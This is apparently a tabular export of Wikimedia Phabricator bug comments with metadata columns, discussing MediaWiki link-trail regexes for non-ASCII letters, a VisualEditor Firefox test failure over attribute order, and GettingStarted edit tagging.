+701310,The default (English) link trail ($linkTrail) only matches [a-z],"""Is this strange behaviour something we want to preserve, or is it just a historical quirk?""
+Or just survived tests, as a rare case.",,,1469625591,,PHID-USER-4c6srusxkc3xljf73qq6,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,1,1,0,1,0,0,1,0,0,0,0,0
+701307,The default (English) link trail ($linkTrail) only matches [a-z],"Essentially I think the linktrail for `en` should include all Latin-alphabet characters in the regex. Would `/^(\p{Latin}+)(.*)$/` work?
+
+Although, oddly enough, most uppercase letters are left out of the linktrails. For the Hungarian example above, only accented uppercase letters are matched, not regular ones. Most languages don't include any uppercase letters in their linktrail  string. Is this strange behaviour something we want to preserve, or is it just a historical quirk?",,,1469625378,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,1,0,1,1,1,1,0,1,0,1,1,0,1,0,1,0,1,1,1,1,1,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,1,1
+701301,The default (English) link trail ($linkTrail) only matches [a-z],"No, this is a perfectly valid bug. Unfortunately ""link trails"" are currently specified per-language, and the link trail for English doesn't include any accented characters. For example it's defined like this for Hungarian: `$linkTrail = '/^([a-záéíóúöüőűÁÉÍÓÚÖÜŐŰ]+)(.*)$/sDu';`, but these characters will only work on a Hungarian-language wiki.",,,1469624271,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,True,,,160,,1,0,1,1,1,1,1,0,0,0,0,1,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,1,0,0,1,1,1,0,1,0,1,0,0,1,0,0,0,0,1
+701129,The default (English) link trail ($linkTrail) only matches [a-z],OK. Thanks for the detailed explanation.,,,1469598638,,PHID-USER-4c6srusxkc3xljf73qq6,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+701065,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).
+
+There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].
+
+To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
+At each revision of Unicode, we would need to regenerate this matching regexp.
+
+Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers
+
+However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).
+
+We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)
+
+So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Link|Links]]"") is just an **old (deprecated) trick** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:
+
+The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.
+
+And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
+",,,1469583675,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+701063,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).
+
+There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].
+
+To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
+At each revision of Unicode, we would need to regenerate this matching regexp.
+
+Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers
+
+However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).
+
+We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)
+
+So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an **old (deprecated) trick** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:
+
+The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.
+
+And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
+",,,1469583643,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+701062,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).
+
+There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].
+
+To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
+At each revision of Unicode, we would need to regenerate this matching regexp.
+
+Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers
+
+However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).
+
+We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)
+
+So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an ***old (deprecated) trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:
+
+The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.
+
+And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
+",,,1469583625,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+701061,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).
+
+There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].
+
+To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
+At each revision of Unicode, we would need to regenerate this matching regexp.
+
+Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers
+
+However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).
+
+We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)
+
+So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an ***old (deprecated) trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:
+
+The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.
+
+And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
+",,,1469583610,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+701058,The default (English) link trail ($linkTrail) only matches [a-z],"For now the workaround is to place the text content of the link within the brackets and not expect that it will expand outside on touching letters (this only works on ASCII letters, not on non-ASCII letters that are UTF-8 encoded).
+
+There's some regexp that controls how many characters to add to the link, but it just accepts ASCII digits [0-9], ASCII letters [A-Za-z] and a few ""continuing punctuations"" such as [_].
+
+To cover non-ASCII only contents (including for English!) we should still not include all non-ASCII characters but only characters that are in some simple class. The problem is that regexps to match characters with UTF-8 can be fairly complex to write (but it's still possible to write it) and it is not a closed subset of the Unicode repertoire (because it is extensible: Unicode adds regularly letters, digits and some other useful symbols which could or could not be included such as emojis, we should however exclude whitespaces, but include all combining characters, plus a few controls such as CGJ/ZWJ/ZWNJ/WJ joiners needed in the standard orthography of some languages)
+At each revision of Unicode, we would need to regenerate this matching regexp.
+
+Unicode provides data for character subsets useful for identifiers (idstart, idcontinue) that we could use for matching these textual extensions of wikilinks (after the two closing brackets). It is easily recompilable into a UTF-8 matching regexp. Such regexp is already used internally by Javascript and HTML5 for recognizing their valid identifiers
+
+However this could cause problems with languages that usually don't use whitespaces to separate words in their scripts (notably Chinese, Japanese, or Korean with their sinographic scripts, and a few other Asian scripts such as Thai): we should not extend links to all touching sinograms which would include a full sentence (not fully relevant: it would obscure the page with overlong links everywhere).
+
+We could also break the link if there's a strong script change (e.g. any switch from CJK sinograms to Latin, including ""wide"" Latin characters used in CJK, or the reverse), but not for characters that are using weak scripts (e.g. ASCII digits, shared across many scripts): using regexps in this case would be more complex as we would need to use distinct regexp depending on the last strong script of the last character of the link text within the bracket)
+
+So I think that writing ""[[Link]]s"" (or ""[[Target|Link]]s"") instead of  ""[[Target|Links]]"" (or ""[[Target|Links]]"") is just an old **trick*** of MediaWiki used by (lazy) wiki redactors, we cannot recommand using it:
+
+The longer form will be preferred (where all characters to include in the link should be within the brackets), even if there's still some support for (ASCII-only) text link extensions (after closing brackets) to /[0-9A-Z_a-z]+/.
+
+And I see no reason to handle this case to only to cover all extensions of the Basic Latin script (or even just for Hungarian), or even with other alphabetic scripts (Cyrillic, Greek) or abjads (Hebrew, Arabic) and some Indic abugidas (but not all of them use whitespace for word separation!), or simple syllabaries (such as Ethiopic, or Canadian Syllabics: should we include Hangul, Bopomofo and Katakana/Hiragana when they are mixed with signograms and now necessarily whitespace separated?).
+",,,1469583362,,PHID-USER-haxgydpauf444oiywhg2,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,160,,1,0,1,1,1,1,1,1,0,1,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,1,0,1,1,1,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,1,0,1
+582696,The default (English) link trail ($linkTrail) only matches [a-z],This seems to be problem on all multilingual projects...,,,1450788845,,PHID-USER-l6fch4yy6jwf3du42zrz,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,3,False,,,129,,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+226155,The default (English) link trail ($linkTrail) only matches [a-z],"It could also be that the content language is still English in some cases, but it doesn't seems so form the content source.",,,1361275352,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,1,False,,,-19,,1,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+226148,The default (English) link trail ($linkTrail) only matches [a-z],This is link trails and it is part of the localization that would be very difficult to get right for everyone. In this case I would say put what you want to use for the page part into the link and do not depend on the link trails.,,,1361274313,,PHID-USER-vlni4mhyozor7ghqnfkl,False,,,PHID-TASK-n4lw5kls7dkiwbydrbtn,task_subcomment,,True,c1,1,False,,,-19,,0,1,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0,0
+46808,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"This test works in Chrome, but in Firefox it fails with:
+
+Expected: 	
+
+""a<b>b<span typeof=\""mw:Entity\"" class=\""ve-ce-leafNode ve-ce-MWEntityNode\"" contenteditable=\""false\"">c</span>d<div class=\""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode\"" contenteditable=\""false\""><tt>e</tt></div></b>""
+
+Result: 	
+
+""a<b>b<span class=\""ve-ce-leafNode ve-ce-MWEntityNode\"" typeof=\""mw:Entity\"" contenteditable=\""false\"">c</span>d<div class=\""ve-ce-leafNode ve-ce-alienNode ve-ce-alienInlineNode\"" contenteditable=\""false\""><tt>e</tt></div></b>""
+
+(the difference is in the order of the class and typeof attributes)
+
+We should probably implement DOM comparison instead of string comparison in the ce.ContentBranchNode test suite.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1360374780,1443111590.0,PHID-USER-fovtl67ew4l4cc3oeypc,False,PHID-USER-it53o2f2kyryqyj33uzt,False,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_description,resolved,True,c1,1,False,False,False,-21,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,0,0,0,0,1
+534362,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"Related: https://gerrit.wikimedia.org/r/#/c/240722/ in MW, where we need to decode data-mw and parse body.html, sometimes recursively :/",,,1443111671,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,3,True,,,116,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,0,0,1
+534361,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,https://gerrit.wikimedia.org/r/#/c/240693/,,,1443111590,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,3,True,,,116,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+206979,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"This specific case is fixed in https://gerrit.wikimedia.org/r/#/c/57240 by using equalDomElement. However, another case has appeared: recent code introduced full HTML preservation in mw:Image and the attribute order in the HTML serialization matters there too, so now that test passes in Chrome but fails in Firefox (getDataFromDom test 4).",,,1365033745,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,1,False,,,-13,,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,1,0,0,0
+206976,VisualEditor: ce.ContentBranchNode tests fails in Firefox due to object key order,"Not sure if it is caused by the javasript object keys. May be related to how WebKit/Geck order the element attributes when serialising the html.
+
+If the former:
+ ve.getHash or assert.deepEqual
+
+If the latter:
+ assert.equalDomElement",,,1361569492,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-6hp73xqwptdzkhjkx2ki,task_subcomment,,True,c1,1,True,,,-19,,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,0,0,1,0,0,0
+46364,VisualEditor: Clean up duplication of Mac/PC command/ctrl in all command registrars,"Should perhaps have some kind of magic alias ""trigger"" that maps to meta/ctrl respectively.
+
+The flexibility of being able to bind something to ctrl on mac, and to meta on pc is useful but in the most common case we don't to do that.
+
+And we're currently duplicating this internal logic at the cost of decentralisation. So plugin authors providing Tools need to duplicate this logic also, meaning more maintenance when we change this.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1359158880,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-fbrnpd67ntdl7dxrvivk,task_description,open,True,c1,1,True,False,,-23,,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,1,0,1,1,0,0,0,1,0,1,1,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,1,0
+46361,Only tag edits via GettingStarted if the user is actually new,"The GettingStarted extension is tagging edits of new users (bug 43191). These tags should be temporary.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement",Low,25.0,1359154380,1369959989.0,PHID-USER-hyfm4swq76s4j642w46x,False,,False,PHID-TASK-o2degjsneil7pojmpiav,task_description,resolved,True,c1,1,False,False,True,-23,,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+205584,Only tag edits via GettingStarted if the user is actually new,"**swalling** wrote:
+
+https://gerrit.wikimedia.org/r/#/c/65337/ was merged, and henceforth only users who aren't autoconfirmed will get their GettingStarted edits tagged.",,,1369959989,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-5,,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,0,0,1,0,0,0
+205577,Only tag edits via GettingStarted if the user is actually new,Related URL: https://gerrit.wikimedia.org/r/65337 (Gerrit Change I3bc2235ac9d5ae1060c86df03663dcb8a6966a38),,,1369431985,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-6,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0
+205569,Only tag edits via GettingStarted if the user is actually new,"(In reply to comment #4)
+> It sounds like you have a general problem with permanent tags. 
+
+It sounds like you didn't read comment 3.",,,1368574939,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-7,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,1
+205562,Only tag edits via GettingStarted if the user is actually new,"**swalling** wrote:
+
+(In reply to comment #3)
+> The general trend of permanently tagging edits should be examined. Other
+> sites
+> engage in similar practices (such as Facebook marking mobile posts), but
+> whether this is a good thing or whether it should be encouraged is up for
+> debate.
+> 
+> In this case, I don't think permanently marking someone's first edits after
+> you've secretly tagged them as part of an experiment that they didn't opt in
+> to
+> is a good idea. Do other bad tags exist? Yes, but those aren't really
+> relevant
+> here.
+
+It sounds like you have a general problem with permanent tags. 
+
+I think our actual enhancement is to not tag edits of users who aren't new anymore if they make further edits via Special:GettingStarted, e.g. if you're autoconfirmed don't tag their edit, even if if comes via GettingStarted. That's an enhacement we should make, but it's not the same thing as altering MediaWiki tags so they're there one minute and gone the next. That's unexpected and broken behavior according to how tags currently work in all other cases. 
+
+I've changed the bug title to reflect what we're actually going to do around tagging in GettingStarted, to ensure that the tag is accurate.",,,1368565460,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-o2degjsneil7pojmpiav,task_subcomment,,True,c1,1,False,,,-7,,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,1,0,1,1,1,1,0,1,0,0,0,1,0,0,1,1,0,1,1,1,1,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
